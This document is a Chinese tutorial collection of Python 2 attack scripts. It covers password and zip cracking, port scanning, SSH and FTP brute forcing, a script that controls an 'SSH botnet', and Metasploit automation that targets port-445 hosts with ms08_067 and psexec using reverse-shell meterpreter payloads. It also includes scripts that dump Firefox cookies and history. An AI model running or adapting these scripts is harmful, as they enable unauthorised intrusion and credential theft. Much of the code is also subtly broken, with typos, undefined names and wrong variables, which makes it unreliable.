某教程涉及脚本

1、Linux口令破解

# encoding: utf-8
import crypt


def testpass(cryptpass):
    #盐值，取两个$之间的字符串
    salt = cryptpass[cryptpass.find("$"):cryptpass.rfind("$")]
    #读取字典内容
    dictfile = open('dictionary.txt','r')
    #将字典里每行拿出来进行加密比对
    for word in dictfile.readlines():
        word = word.strip('\n')     # 去掉密码后的换行符
        # 将密码与盐值一起加密得到加密后的密文
        cryptword = crypt.crypt(word,salt)
        #将加密得到的密文与原始密文进行对比
        if (cryptword == cryptpass):
            print "[+] found password: " + word + "\n"
            return
    print "[-] password notfound.\n"
    return


def main():
    # 读取密码文件得到Linux口令
    passfile = open('mima.txt')
    # 对每一条口令进行破解
    for line in passfile.readlines():
        # 以口令中的:为分隔符
        if ":" in line:
            # 以第一个分隔符之前的为用户名
            user = line.split(':')[0]
            # 第一个分隔符与第二个之间的为加密口令
            cryptpass = line.split(':')[1].strip(' ')
            print "[*] cracking password for : " + user
            # 口令破解
            testpass(cryptpass)

if if __name__ == "__main__":
    main()

2、zip文件口令破解

01

zipfile库最初体验

# encoding: utf-8

import zipfile

# 实例化压缩文件
zfile = zipfile("test.zip")

try:
    # 使用正确的密码解压文件
    zfile.extractall(pwd="123456")
except Exception,e:
    print e

02

使用extractall函数进行口令破解

# encoding: utf-8

import zipfile

zfile = zipfile.ZipFile("test.zip")
# 打开字典
passfile = open('dictonary.txt')
# 遍历字典中的每一行
for line in passfile.readlines():
    # 去掉每一行末尾的换行符即为密码
    password = line.strip('\n')
    try:
        # 用每行的密码尝试解压文件
        zfile.extractall(pwd=password)
        # 解压成功，则打印密码
        print '[+] password = ' + password + '\n'
        exit(0)
    # 密码不正确则抛出异常并尝试下一个密码
    except Exception,e:
        pass

03

添加了函数模块化

# encoding: utf-8

import zipfile
# 模块化脚本，创建解压脚本函数
def extractfile(zfile,password):
    try:
        # 尝试解压文件，成功返回密码，否则抛出异常
        zfile.extractall(pwd = password)
        return password
    except:
        return

def mian():
    # 实例化压缩文件
    zfile = zipfile.ZipFile('test.zip')
    # 打开字典
    passfile = open('pass.txt')
    # 将字典每行的密码进行匹配
    for line in passfile.readlines():
        password = line.strip('\n')
        # 调用解压函数
        guess = extractfile(zfile,password)

        if guess:   # 要是guess是TRUE，则打印出密码
            print '[+] password = ' + password + '\n'
            exit(0)

if __name__ == "__main__":
    mian()

3、端口扫描器

获取命令参数主机名和端口

# encoding: utf-8

import optparse
# 创建对象实例
parser = optparse.OptionParser('usage %prog  -H <target host> -p <target ports>')
# 需要的命令行参数
parser.add_option('-H',dest='Host',type='srting',help='specify target host')
parser.add_option('-p',dest='ports',type='srting',help='specify target host')

# 解析命令行
(Option,args) = parser.parse_args()
# 实例化参数
Host = Options.host
Ports = str(Options.Ports).split(',')
if (Host == None)|(Ports == None):
    print parser.usage
    exit(0)

加入connscan函数

# encoding: utf-8

import optparse
# 使用socket库
from socket import *

def connscan(host,port):
    try:
        # 实例化socket
        connskt = socket(AF_INET,SOCK_STREAM)
        # socket连接目标端口，连接成功则打印出该端口
        connskt.connect((host,port))
        print '[+] %d/tcp open'% port
        # 关闭连接
        connskt.close()

    except:
        # 端口连接不成功打印出错误信息
        print '[-] %d/tcp closed'% port

def portscan(host,ports):
    try:
        # 获取目标IP地址
        ip = gethostbyname(host)
    
    except:
        # 获取不到IP地址，打印出错误信息
        print "[-] cannot resolve '%s' : unknown host" %host
        return
    
    try:
        # 获取目标主机名
        name = gethostbyaddr(ip)
        print '\n[+] scan result for: '+name[0]
    
    except:
        # 获取不到主机名则显示IP
        print '\n[+] scan result for: '+ip
    # 设置默认超市时间
    setdefaulttimeout(1)
    # 遍历每个端口
    for port in ports:
        print 'scanning port '+port
        # 调用连接函数
        connscan(host,int(ports))

抓取目标应用banner，获取更详细信息

# encoding: utf-8

import parser
from socket import *

def connscan(host,port):
    try:
        connskt = socket(AF_INET,SOCK_STREAM)
        connskt.connect((host,port))
        # 向连接成功的端口发送字符串
        connskt.send('quiet simple\r\n')
        # 接收目标端口返回值
        results = connskt.recv(100)
        print '[+] %d/tcp open'% port
        # 打印出目标端口的发回执
        print '[+] ' + str(results)
        connskt.close()
    except:
        print '[-] %d/tcp closed'% port

def portscan(host,ports):
    try:
        ip = gethostbyname(host)
    except:
        print "[-] cannot resolve '%s': unknown host" %host
        return
    try:
        name = gethostbyaddr(ip)
        print '\n[+] scan results for :'+name[0]
    except:
        print '\n[+] scan results for :'+ip
    setdefaulttimeout(1)
    for port in ports:
        print 'scanning port' + port
        connscan(host,int(port))

def main():
    parser = optparse.optionparser('usage %prog -H <target host> -p <target ports>')
    parser.add_option('-H',dest='host',type='string',help='specify target host')
    parser.add_option('-p',dest='ports',type='string',help='specify target ports')
    (options,args) = parser.parser_args()
    host = options.host
    ports = str(options.ports).split(',')
    if (host == None) | (ports == None):
        print parser.usage
        exit(0)
    # 调用函数进行扫描
    portscan(host,ports)

if __name__ == "__main__":
    main()

添加信号量以及加锁

# encoding: utf-8

import parser
from socket import *
from threading import *

# 实例化一个信号量
screenlock = Semaphore(value=1)
def connscan(host,port):
    try:
        connskt = socket(AF_INET,SOCK_STREAM)
        connskt.connect((host,port))
        connskt.send('quiet simple\r\n')
        results = connskt.recv(100)
        # 加锁
        screenlock.acquire()
        print '[+] %d/tcp open'% port
        print '[+] ' + str(results)
    except:
        screenlock.acquire()
        print '[-] %d/tcp closed'% port
    finally:
        # 解锁
        screenlock.release()
        connskt.close()

def portscan(host,ports):
    try:
        ip = gethostbyname(host)
    except:
        print "[-] cannot resolve '%s': unknown host" %host
        return
    try:
        name = gethostbyaddr(ip)
        print '\n[+] scan results for :'+name[0]
    except:
        print '\n[+] scan results for :'+ip
    setdefaulttimeout(1)
    for port in ports:
        print 'scanning port' + port
        connscan(host,int(port))

def main():
    parser = optparse.optionparser('usage %prog -H <target host> -p <target ports>')
    parser.add_option('-H',dest='host',type='string',help='specify target host')
    parser.add_option('-p',dest='ports',type='string',help='specify target ports')
    (options,args) = parser.parser_args()
    host = options.host
    ports = str(options.ports).split(',')
    if (host == None) | (ports == None):
        print parser.usage
        exit(0)
    portscan(host,ports)

if __name__ == "__main__":
    main()

4、构建SSH僵尸网络

pexpect库

# encoding: utf-8

# 引用第三方库
import pexpect
# 命令行提示符
PROMPT = ['#','>>>','>','\$']
# 传递命令
def send_command(child,cmd):
    child.sendline(cmd)
    # 期望获得的命令提示符
    child.expect(PROMPT)
    # 打印从SSH会话得到的结果
    print child.before

# 连接函数
def connect(user,host,password):
    ssh_newkey = 'are you sure you want to continue connecting'
    # 连接字符串
    connstr = 'ssh ' + user + '@' + host
    # 实例化连接
    child = pexpect.spawn(connstr)
    # 捕获ssh_newkey
    ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
    # 判断捕获信息
    if ret == 0:
        print '[-] error connecting'
        return
    if ret == 1:
        child.sendline('yes')
        ret = child.expect([pexpect.TIMEOUT,ssh_newkey,'[P|p]assword: '])
        if ret == 0:
            print '[-] error connecting'
            return
    # 输入密码
    child.sendline(password)
    # 捕获命令提示符
    child.expect(PROMPT)
    return child

def main():
    host = 'localhost'
    user = 'root'
    password = 'simple123'
    # ssh连接
    child = connect(user,host,password)
    # 发送命令
    send_command(child,'ls /root/')

if __name__ == "__main__":
    main()

pxssh()函数

# encoding: utf-8

# 引用pxssh库
from pexpect import pxssh
# 引用optparse库
import optparse
# 引用time库
import time
# 引用线程库
from threading import *

# 设置最大连接数
maxconnections = 5
# 设置连接锁
connection_lock = BoundedSemaphore(value=maxconnections)
found = False
fails = 0

# 连接函数
def connect(host,user,password,release):
    #全局变量
    global found
    global fails
    try:
        # 实例化
        s = pxssh.pxssh()
        # SSH连接
        s.login(host,user,password)
        # 连接成功打印密码
        print '[+] password found: ' + password
        found = True
    except Exception,e:
        # 判断异常原因，尝试重新连接
        if 'read_nonblocking' in str(e):
            fails += 1
            time.sleep(5)
            connect(host,user,password,False)
        elif 'synchronize with original prompt' in str(e):
            time.sleep(1)
            connect(host,user,password,False)
    finally:
        # 释放锁
        if release:
            connection_lock.release()

def mian():
    # 创建对象
    parser = optparse.OptionParser('usage %prog -H <target host> -u <user> -F <password list>')
    # 设定参数
    parser.add_option('-H',dest='host',type='string',help='specify target host')
    parser.add_option('-F',dest='password file',type='string',help='specify password file')
    parser.add_option('-u',dest='user',type='string',help='specify the user')
    # 解析命令
    (options,args) = parser.parser_args()
    # 获取参数
    host = options.host
    passwordfile = options.passwordfile
    user = options.user
    if host == None or passwordfile == None or user == None:
        print parser.usage
        exit(0)
    # 读取密码
    fn = open('passwordfile','r')
    # 尝试破解
    for line in fn.readlines():
        if found:
            print "[*] exiting: password found"
            exit(0)
        if fails > 5:
            print "[*] exiting: too many socket Timeouts"
            exit(0)
        # 加锁
        connection_lock.acquire()
        password = line.strip('\n')
        print "[-] testing: " + str(password)
        #实例化线程
        t = Thread(target=connect,args=(host,user,password,True))
        child = t.start

if __name__ == "__main__":
    main()

控制多台主机的版本

# encoding: utf-8

from pexpect import pxssh

class client:
    # 初始化对象
    def __init__(self,host,user,password):
        self.host = host
        self.user = user
        self.password = password
        self.session = self.connect()
    # SSH连接
    def connect(self):
        try:
            s = pxssh.pxssh()
            s.login(self.host,self.user,self.password)
            return s
        except Exception,e:
            print e 
            print '[-] error connecting'
    # 传递命令
    def send_command(self,cmd):
        self.session.sendline(cmd)
        self.session.prompt()
        return self.session.before

# 遍历botnet发送命令
def botnetcommand(command):
    for client in botnet:
        output = client.send_command(command)
        print '[*] output from ' + client.host
        print '[+] ' + output

# 实例化client对象
def addclient(host,user,password):
    client = client(host,user,password)
    botnet.append(client)

# 记录client对象
botnet = []
addclient('127.0.0.1','root','simplexue123')
addclient('127.0.0.1','root','simplexue123')
addclient('127.0.0.1','root','simplexue123')

botnetcommand('uname -v')
botnetcommand('ls /root')

5、FTP口令扫描与网页搜索

确定服务器是否允许匿名登录

# encoding: utf-8

# 引用ftplib库
import ftplib

# 判断目标是否允许匿名登录
def anonlogin(hostame):
    try:
        ftp = ftplib.FTP(hostame)
        # 匿名登录
        ftp.login('anonymous','[e-mail]')
        print '\n[*]' + str(hostame) + 'FTP anonymous login successded'
        ftp.quit()
        return True
    except Exception,e:
        print '\n[-] ' +str(hostame) + 'FTP anonymous logon failed.'
        return False

host = '192.168.1.3'
anonlogin(host)

FTP暴力破解

# encoding: utf-8

import ftplib

# 暴力破解FTP口令
def brutelogin(hostname,passwdfile):
    p = open('passwdfile','r')
    # 尝试用每个口令登录目标FTP
    for line in p.readlines():
        user = line.split(':')[0]
        p = line.split(':')[1].strip('\n')
        print '[+] trying: ' + user + ': ' + p
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(user,p)
            print '\n[*]' + srt(hostname) + 'FTP login succeeded: ' + user +':' + p
            ftp.quit()
            return (user,p)
        except Exception,e:
            pass 
    print '\n[-] could not brute force ftp credentials.'
    return (None,None)

host = '192.168.1.3'
passwdfile = 'pass.txt'
brutelogin(host,passwdfile)

FTP网页搜索脚本

# encoding: utf-8

import ftplib

# 发现默认页面
def returndefault(ftp):
    try:
        # 获取FTP目录
        dirlist = ftp.nlist()
    except:
        dirlist = []
        print '[-] could not list directory contents'
        print '[-] skipping to next target'
        return
    # 默认页面列表
    retlist = []
    for filename in dirlist:
        fn = filename.lower()
        # 寻找特定后缀的文件名
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print '[+] found  default page: ' + filename
            retlist.append(filename)
            return retlist

host = '192.168.1.3'
username = 'administrator'
password = '123456'
# 实例化FTP连接
ftp = ftplib.FTP(host)
ftp.login(username,password)
returndefault(ftp)

前三个脚本的整合

# encoding: utf-8

import ftplib
import optparse

# 匿名登录
def anonlogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous','[e-mail]')
        print '\n[*]' + str(hostame) + 'FTP anonymous login successded'
        ftp.quit()
        return True
    except Exception,e:
        print '\n[-] ' +str(hostame) + 'FTP anonymous logon failed.'
        return False

# 破解口令
def brutelogin(hostname,passwdfile):
    p = open('passwdfile','r')
    for line in p.readlines():
        user = line.split(':')[0]
        p = line.split(':')[1].strip('\n')
        print '[+] trying: ' + user + ': ' + p
        try:
            ftp = ftplib.FTP(hostname)
            ftp.login(user,p)
            print '\n[*]' + srt(hostname) + 'FTP login succeeded: ' + user +':' + p
            ftp.quit()
            return (user,p)
        except Exception,e:
            pass 
    print '\n[-] could not brute force ftp credentials.'
    return (None,None)

# 发现默认页面
def returndefault(ftp):
    try:
        dirlist = ftp.nlist()
    except:
        dirlist = []
        print '[-] could not list directory contents'
        print '[-] skipping to next target'
        return
    retlist = []
    for filename in dirlist:
        fn = filename.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print '[+] found  default page: ' + filename
            retlist.append(filename)
            return retlist

def mian():
    parser = optparse.OptionParser('usage %prog -H <target host[s]> [-f <userpass file>]')
    parser.add_option('-H',dest='thost',type='string',help='specify target host')
    parser.add_option('-f',dest='passwdfile',type='string',help='specify user/password file')
    (options,args) = parser.parser_args()
    thost = options.thost
    passwdfile = options.passwdfile
    if thost == None:
        print parser.usage
        exit (0)
    username = None
    password = None
    # 尝试匿名登录
    if anonlogin(thost) == True:
        username = 'administrator'
        password = '123456'
        ftp = ftplib.FTP(thost)
        ftp.login(username,password)
        returndefault(ftp)
    # 尝试暴力破解登录
    elif passwdfile != None:
        (username,password) = brutelogin(thost,passwdfile)
        ftp = ftplib.FTP(thost)
        ftp.login(username,password)
        returndefault(ftp)

if __name__ == "__main__":
    main()

6、python脚本与metasploit交互

扫描开放了445端口的主机

# encoding: utf-8

# 使用nmap库
import nmap

def findtarget():
    # 实例化端口扫描
    nmscan = nmap,portscanner()
    # 扫描开放了445端口的主机并将其放置在数组中返回
    nmscan.scan(subnet,'445')
    targets = []
    for t in nmscan.all_hosts():
        if nmscan[t].has_tcp(445):
            state = nmscan[t]['tcp'][445]['state']
            if state == 'open':
                print '[+] found target host: ' + t
                targets.append(t)
    return targets

新建监听器

# encoding: utf-8
## 

# 监听被黑掉的目标
def setuphandler(configfile,lhost,lport):
    # 使用该模块发布命令
    configfile.write('use exploit/multi/handler\n')
    # 设定载荷，IP，端口
    configfile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
    configfile.write('set LPORT ' + str(lport) + '\n')
    configfile.write('set LHOST ' + lhost + '\n')
    configfile.write('exploit -j -z\n')
    # 不重复新建监听器
    configfile.write('setg DisablePaloadHandler 1\n')

执行漏洞利用代码

# encoding: utf-8

# 漏洞利用
def setuphandler(configfile,target,lhost,lport):
    # 漏洞利用代码
    configfile.write('use exploit/windows/smb/ms08_067_netapi\n')
    # 设定参数
    configfile.write('set RHOST ' + str(target) + '\n')
    configfile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
    configfile.write('set LPORT ' + str(lport) + '\n')
    configfile.write('set LHOST ' + lhost + '\n')
    # 执行
    configfile.write('exploit -j -z\n')

暴力破解SMB用户

# encoding: utf-8

# SMB暴力破解
def smbbrute(configfile,target,passwdfile,lhost,lport):
    username = 'Administrator'
    passwdfile = open(passwdfile,'r')
    # 逐个密码尝试进行破解
    for password in passwdfile.readlines():
        password = password.strip('\n').strip
    configfile.write('use exploit/windows/smb/psexec\n')
    configfile.write('set SMBUser ' + str(username) + '\n')
    configfile.write('set SMBUser ' + str(password) + '\n')
    configfile.write('set RHOST ' + str(target) + '\n')
    configfile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
    configfile.write('set LPORT ' + str(lport) + '\n')
    configfile.write('set LHOST ' + lhost + '\n')
    configfile.write('exploit -j -z\n')

前四个代码的整合

# encoding: utf-8
## 
import os
import optparse
import sys
import nmap

# 与nmap交互发现开放了445端口的主机
def findtarget():
    # 实例化端口扫描
    nmscan = nmap,portscanner()
    nmscan.scan(subnet,'445')
    targets = []
    for t in nmscan.all_hosts():
        if nmscan[t].has_tcp(445):
            state = nmscan[t]['tcp'][445]['state']
            if state == 'open':
                print '[+] found target host: ' + t
                targets.append(t)
    return targets

# 监听被黑掉的目标
def setuphandler(configfile,lhost,lport):
    configfile.write('use exploit/multi/handler\n')
    configfile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
    configfile.write('set LPORT ' + str(lport) + '\n')
    configfile.write('set LHOST ' + lhost + '\n')
    configfile.write('exploit -j -z\n')
    configfile.write('setg DisablePaloadHandler 1\n')

# 攻击模块
def setuphandler(configfile,target,lhost,lport):
    configfile.write('use exploit/windows/smb/ms08_067_netapi\n')
    configfile.write('set RHOST ' + str(target) + '\n')
    configfile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
    configfile.write('set LPORT ' + str(lport) + '\n')
    configfile.write('set LHOST ' + lhost + '\n')
    configfile.write('exploit -j -z\n')

# SMB暴力破解
def smbbrute(configfile,target,passwdfile,lhost,lport):
    username = 'Administrator'
    passwdfile = open(passwdfile,'r')
    for password in passwdfile.readlines():
        password = password.strip('\n').strip
    configfile.write('use exploit/windows/smb/psexec\n')
    configfile.write('set SMBUser ' + str(username) + '\n')
    configfile.write('set SMBUser ' + str(password) + '\n')
    configfile.write('set RHOST ' + str(target) + '\n')
    configfile.write('set PAYLOAD windows/meterpreter/reverse_tcp\n')
    configfile.write('set LPORT ' + str(lport) + '\n')
    configfile.write('set LHOST ' + lhost + '\n')
    configfile.write('exploit -j -z\n')

def main():
    # 写方式打开配置文件
    configfile = open('meta.rc','w')
    parser = optparse.optionparser('[-] usage %prog -H <RHOST[s]> -l <LHOST> [-p <LPORT -F <password file>]')
    parser.add_option('-H',dest='target',type='string',help='specify the target address[es]')
    parser.add_option('-p',dest='lport',type='string',help='specify the listen port')
    parser.add_option('-l',dest='lhost',type='string',help='specify the listen address')
    parser.add_option('-F',dest='passwdfile',type='string',help='password file for SMB brute force attempt')
    (options,args) = parser.parser_args()
    if (opyions.target == None) | (lhost == None):
        print parser.usage
        exit(0)
    lhost = options.lhost
    lport = options.lport
    if lport == None:
        lport = '2333'
    passsdfile = options.passsdfile
    # 寻找目标
    targets = findtarget(options.target)
    setuphandler(configfile,lhost,lport)
    # 逐个攻击
    for target in targets:
        confickerexploit(configfile,target,lhost,lport)
        if passwdfile != None:
            smbbrute(configfile,target,passsdfile,lhost,lport)
    configfile.close()
    # 启动metasploit并读取配置文件
    os.system('msfconsole -r meta.rc')

if __name__ == "__main__":
        main()

7、回收站内容检查

检测回收站目录

# encoding: utf-8

import os

def returndir():
    dirs = ['C:\\Recycler\\','C:\\Recycled\\','C:\\Recycle.Bin\\']
    for recycledir in dirs:
        if os.path.isdir(recycledir):
            return recycledir
        return None

print returndir()

提取注册表中的用户名

# encoding: utf-8

# 导入注册表库
from _winreg import *

#提取注册表中存放的用户名
def sid2user(sid):
    try:
        key = Openkey(HKEY_LOCAL_MAACHINE,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" + '\\' + sid)
        (Value,type) = QueryValueEx(key,'ProfileImagePath')
        user = value.split('\\')[-1]
        return user
    except:
        return sid

打印所有被放入回收站的文件

# encoding: utf-8

import os
from _winreg import *

def sid2user(sid):
    try:
        key = Openkey(HKEY_LOCAL_MAACHINE,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" + '\\' + sid)
        (Value,type) = QueryValueEx(key,'ProfileImagePath')
        user = value.split('\\')[-1]
        return user
    except:
        return sid

def returndir():
    dirs = ['C:\\Recycler\\','C:\\Recycled\\','C:\\Recycle.Bin\\']
    for recycledir in dirs:
        if os.path.isdir(recycledir):
            return recycledir
        return None

def findrecycled(recycledir):
    dirlist = os.listdir(recycledir)
    for sid in dirlist:
        files = os.listdir(recycledir + sid)
        user = sid2user(sid)
        print '\n[*] listing files for user:' + str(user)
        for file in files:
            print '[+] found file: ' + str(file)
        
def mian():
    recycledir = returndir()
    findrecycled(recycledir)

if __name__ == "__main__":
    main()

8、读取文件EXIF元数据

查找image标签

# encoding: utf-8

import urllib2
# 导入相关库
from bs4 import BeautifulSoup

# 发现网页中的图片
def findimages(url):
    print '[+\ finding images on ' + url
    # 读取HTML中的文档内容
    urlcontent = urllib2.open(url).read()
    # 创建一个beautifulsoup对象
    soup = BeautifulSoup(urlcontent,"lxml")
    # 寻找所有标记为img的标签
    imgtags = soup.findall('img')
    return imgtags

下载图片

# encoding: utf-8

# 导入相应库
import urllib2
from os.path import basename
from urlparse import urlsplit

# 下载图片
def downloadimage(imgtag,url):
    try:
        print '[+] downloading image...'
        # 图片地址
        imgsrc = imgtag['src']
        # 读取图片内容
        imgcontent = urllib2.urlopen(url + imgsrc).read()
        imgfilename = basename(urlsplit(imgsrc0[2]))
        imgfile = open(imgfilename,'wb')
        # 写入图片内容
        imgfile.write(imgcontent)
        imgfile.close()
        return imgfilename
    except:
        return ''

获取文件元数据

# encoding: utf-8

def testforexif(imgfilename):
    try:
        exifdata = {}
        imgfile = image.open(imgfilename)
        # 获取文件中的元数据
        info = imgfile._getexif()
        if info:
            # 遍历元数据数组查找含有GPSInfo的exif标签
            for (tag,value) in info.items():
                decoded = tags.get(tag,tag)
                exifdata[decoded] = value
            exifgps = exifdata['gpsinfo']
            if exifgps:
                print '[*] ' + imgfilename + ' cintains GPS metadata'
    except:
        pass

代码整合

# encoding: utf-8

# 导入相应库
import urllib2
import optparse
from bs4 import BeautifulSoup
from urlparse import urlsplit
from os.path import basename
from PIL import image
from PIL.exiftags import tags

# 寻找图片标签
def findimages(url):
    print '[+\ finding images on ' + url
    # 读取HTML中的文档内容
    urlcontent = urllib2.open(url).read()
    # 创建一个beautifulsoup对象
    soup = BeautifulSoup(urlcontent,"lxml")
    # 寻找所有标记为img的标签
    imgtags = soup.findall('img')
    return imgtags

# 下载图片
def downloadimage(imgtag,url):
    try:
        print '[+] downloading image...'
        # 图片地址
        imgsrc = imgtag['src']
        # 读取图片内容
        imgcontent = urllib2.urlopen(url + imgsrc).read()
        imgfilename = basename(urlsplit(imgsrc0[2]))
        imgfile = open(imgfilename,'wb')
        # 写入图片内容
        imgfile.write(imgcontent)
        imgfile.close()
        return imgfilename
    except:
        return ''

# 查看元数据寻找GPSInfo
def testforexif(imgfilename):
    try:
        exifdata = {}
        imgfile = image.open(imgfilename)
        # 获取文件中的元数据
        info = imgfile._getexif()
        if info:
            # 遍历元数据数组查找含有GPSInfo的exif标签
            for (tag,value) in info.items():
                decoded = tags.get(tag,tag)
                exifdata[decoded] = value
            exifgps = exifdata['gpsinfo']
            if exifgps:
                print '[*] ' + imgfilename + ' cintains GPS metadata'
    except:
        pass

# 主函数运行
def main():
    parser = optparse.optionparser('usage %prog -u <target url>')
    parser.add_option('-u',dest='url',type='string',help='specify url address')
    (options,args) = parser.parser_args()
    url = options.url
    if url == None:
        print parser.usage
        exit(0)
    else:
        imgtags = findimages(url)
        for imgtag in imgtags:
            imgfilename = downloadimage(imgtag,url)
            testforexif(imgfilename)

if __name__ == "__main__":
    mian()

9、解析火狐浏览器ssqlite3数据库

读取数据库信息

# -*- coding: utf-8 -*-

import sqlite3  #导入库

def printDownloads(downloadDB): #查看下载记录
    conn = sqlite3.connect(downloadDB)  #链接数据库
    c = conn.cursor()   #实例化
    c.execute('SELECT name,source,datetime(endTime/1000000,\'unixepoch\') FORM moz_downloads;') #数据库查询
    print '\n[*] --- Files Downloaded ---'
    for row in c:
        print '[+] Fiel: ' + str(row[0]) + 'from source: ' + str(row[1]) + 'at:' + str(row[2])

def main():
    downloadDB = 'downloads.sqlite'
    printDownloads(downloadDB)

if __name__ == '__main__':
    main()

读取用户cookie

import sqlite3  #导入库

def printCookies(cookiesDB): #读取cookie数据库内容
    try:
        conn = sqlite3.connect(cookiesDB)  #链接数据库
        c = conn.cursor()   #实例化
        c.execute('SELECT host,name,value FORM moz_cookies;') #数据库查询
        print '\n[*] --- Found Cookies ---'
        for row in c:
            host = str(row[0])
            name = str(row[1])
            value = str(row[2])
            print '[+] Host: ' + host + 'name: ' + name + 'Value:' + value
    except Exception,e:
        if 'encrypted' in str(e):
            print '\n[*] Error reading your cookies database. '
            print '[*] Upgrade your Python-sqlite3 Library'
def main():
    cookiesDB = 'cookies.sqlite'
    printCookies(cookiesDB)

if __name__ == '__main__':
    main()

读取历史记录

# -*- coding: utf-8 -*-

import sqlite3

# 读取历史记录
def printHistory(placesDB):
    try:
        conn = sqlite3.connect(placesDB)
        c = conn.cursor()
        # 数据库查询
        c.execute('select url, datetime(visit_date/1000000, \'unixepoch\') from moz_places,moz_historyvisits where visit_count > 0 and moz_places.id == moz_historyvisits.places_id;')
        print '\n[*] -- Found History --'
        for row in c:
            url = str(row[0])
            date = str(row[1])
            print '[+]'+ date + '  -Visited: ' + url
    except Exception,e:
        if 'encrypted' in str(e):
            print '\n[*] Error readming your places database.'
            print '[*] Upgrade your Python-Sqlite2 Library.'
            exit(0)

def main():
    placesDB = 'places.sqlite'
    printHistory(placesDB)

if __name__ == '__main__':
    main()

获取谷歌搜索记录

# -*- coding: utf-8 -*-

import sqlite3
import re

# 读取历史记录
def printGoogle(placesDB):
    try:
        conn = sqlite3.connect(placesDB)
        c = conn.cursor()
        # 数据库查询
        c.execute('select url, datetime(visit_date/1000000, \'unixepoch\') from moz_places,moz_historyvisits where visit_count > 0 and moz_places.id == moz_historyvisits.places_id;')
        print '\n[*] -- Found Google --'
        for row in c:
            url = str(row[0])
            date = str(row[1])
            if 'google' in url.lower():
                r = re.findall(r'q=.*\&', url)
                if r:
                    search = r[0].split('&')[0]
                    search = search.replace('q=','').replace('+','')
                    print '[+]'+ date + '  -Searched For: ' + search
    except Exception,e:
        print e

def main():
    placesDB = 'places.sqlite'
    printGoogle(placesDB)

if __name__ == '__main__':
    main()

脚本整合

# -*- coding: utf-8 -*-

import optparse
import os
import sqlite3
import re

def printDownloads(downloadDB): #查看下载记录
    conn = sqlite3.connect(downloadDB)  #链接数据库
    c = conn.cursor()   #实例化
    c.execute('SELECT name,source,datetime(endTime/1000000,\'unixepoch\') FORM moz_downloads;') #数据库查询
    print '\n[*] --- Files Downloaded ---'
    for row in c:
        print '[+] Fiel: ' + str(row[0]) + 'from source: ' + str(row[1]) + 'at:' + str(row[2])

def printCookies(cookiesDB): #读取cookie数据库内容
    try:
        conn = sqlite3.connect(cookiesDB)  #链接数据库
        c = conn.cursor()   #实例化
        c.execute('SELECT host,name,value FORM moz_cookies;') #数据库查询
        print '\n[*] --- Found Cookies ---'
        for row in c:
            host = str(row[0])
            name = str(row[1])
            value = str(row[2])
            print '[+] Host: ' + host + 'name: ' + name + 'Value:' + value
    except Exception,e:
        if 'encrypted' in str(e):
            print '\n[*] Error reading your cookies database. '
            print '[*] Upgrade your Python-sqlite3 Library'


def printHistory(placesDB):
    try:
        conn = sqlite3.connect(placesDB)
        c = conn.cursor()
        # 数据库查询
        c.execute('select url, datetime(visit_date/1000000, \'unixepoch\') from moz_places,moz_historyvisits where visit_count > 0 and moz_places.id == moz_historyvisits.places_id;')
        print '\n[*] -- Found History --'
        for row in c:
            url = str(row[0])
            date = str(row[1])
            print '[+]'+ date + '  -Visited: ' + url
    except Exception,e:
        if 'encrypted' in str(e):
            print '\n[*] Error readming your places database.'
            print '[*] Upgrade your Python-Sqlite2 Library.'
            exit(0)
# 读取历史记录
def printGoogle(placesDB):
    try:
        conn = sqlite3.connect(placesDB)
        c = conn.cursor()
        # 数据库查询
        c.execute('select url, datetime(visit_date/1000000, \'unixepoch\') from moz_places,moz_historyvisits where visit_count > 0 and moz_places.id == moz_historyvisits.places_id;')
        print '\n[*] -- Found Google --'
        for row in c:
            url = str(row[0])
            date = str(row[1])
            if 'google' in url.lower():
                r = re.findall(r'q=.*\&', url)
                if r:
                    search = r[0].split('&')[0]
                    search = search.replace('q=','').replace('+','')
                    print '[+]'+ date + '  -Searched For: ' + search
    except Exception,e:
        print e

def main():
    parser = optparse.OptionParser('Usage %prog -p <firefox profile path>')
    parser.add_option('-p',dest='pathName',type='string',help='specify skype profile path')
    (options,args) = parser.parse_args()
    pathName = options.pathName
    if pathName == None:
        print parser.usage
        exit(0)
    elif os.path.isdir(pathName) == False:
        print '[!] Path Does Not Exist: ' + pathName
        exit(0)
    else:
        downloadDB = os.path.join(pathName, 'downloads.sqlite')
        if os.path.isfile(downloadDB):
            printDownloads(downloadDB)
        else:
            print '[!] Downloads DB Does Not Exist: ' + downloadDB
        cookiesDB = os.path.join(pathName,'cookies.sqlite')
        if os.path.isfile(cookiesDB):
            printCookies(cookiesDB)
        else:
            print '[!] Cookies DB Does Not Exist: ' + cookiesDB
        placesDB = os.path.join(pathName, 'places.sqlite')
        if os.path.isfile(placesDB):
            printHistory(placesDB)
            printGoogle(placesDB)
        else:
            print '[!] Places DB Does Not Exist: ' + placesDB

if __name__ == '__main__':
    main()

10、解析TTL字段值

打印TTL值

# -*- coding: utf-8 -*-

from scapy.all import * # 使用scapy库

def testTTL(pkt):
    try:
        if pkt.haslayer(IP):    
            ipsrc = pkt.getlayer(IP).src    #判断pkt中是否有IP地址
            ttl = str(pkt.ttl)  # 提取UO地址与TTL并打印出来
            print '[+] Pkt Received From: ' + ipsrc + 'with TTL: ' + ttl
    except:
        pass

def main():
    sniff(prn=testTTL,store=0)  # 嗅探

if __name__ == '__main__':
    main()

判断返回值

# -*- coding: utf-8 -*-

from scapy.all import * # 使用scapy库
from IPy import IP as IPTEST    # 导入相关库并重新命名

ttlValues = {}  # TTL值
THRESH = 5  # 中继跳

def checkTTL(ipsrc,ttl):
    if IPTEST(ipsrc).iptype() == 'PRIVATE': # 判断返回值
        return 
    if not ttlValues.has_key(ipsrc):
        pkt = srl(IP(dst=ipsrc)/ICMP(),retry=0,timeout=1,verbose=0)
        ttlValues[ipsrc] = pkt.ttl
